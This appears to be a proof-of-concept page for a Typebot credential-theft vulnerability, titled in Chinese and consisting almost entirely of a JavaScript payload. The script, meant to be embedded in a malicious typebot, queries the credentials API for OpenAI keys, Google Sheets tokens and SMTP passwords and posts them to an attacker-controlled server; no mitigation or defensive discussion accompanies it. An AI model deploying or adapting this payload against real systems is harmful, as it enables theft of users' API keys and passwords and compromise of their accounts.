CVE-2025-65098 Typebot客户端脚本执行导致凭证窃取漏洞

// CVE-2025-65098 Typebot Credential Theft PoC // This PoC demonstrates the credential theft vulnerability in Typebot < 3.13.2 // Malicious Typebot JavaScript payload const maliciousPayload = ` <script> // Exfiltrate all stored credentials async function stealCredentials() { try { // Call the vulnerable API endpoint const response = await fetch('/api/trpc/credentials.getCredentials', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ json: { typebotId: '' } }) }); const data = await response.json(); const credentials = data.result?.data?.json || []; // Extract sensitive information const stolenData = { openai_keys: [], google_sheets_tokens: [], smtp_passwords: [] }; credentials.forEach(cred => { if (cred.type === 'openai') { stolenData.openai_keys.push({ name: cred.name, apiKey: cred.data.apiKey }); } else if (cred.type === 'googlesheets') { stolenData.google_sheets_tokens.push({ name: cred.name, token: cred.data.accessToken }); } else if (cred.type === 'smtp') { stolenData.smtp_passwords.push({ name: cred.name, host: cred.data.host, port: cred.data.port, username: cred.data.username, password: cred.data.password }); } }); // Exfiltrate to attacker-controlled server fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify(stolenData) }); } catch (error) { console.error('Credential theft failed:', error); } } // Execute when victim clicks "Run" stealCredentials(); </script> `; // Attack vector: Embed this payload in a malicious typebot // When victims preview/run this typebot, credentials are stolen console.log('Malicious payload ready for embedding in Typebot');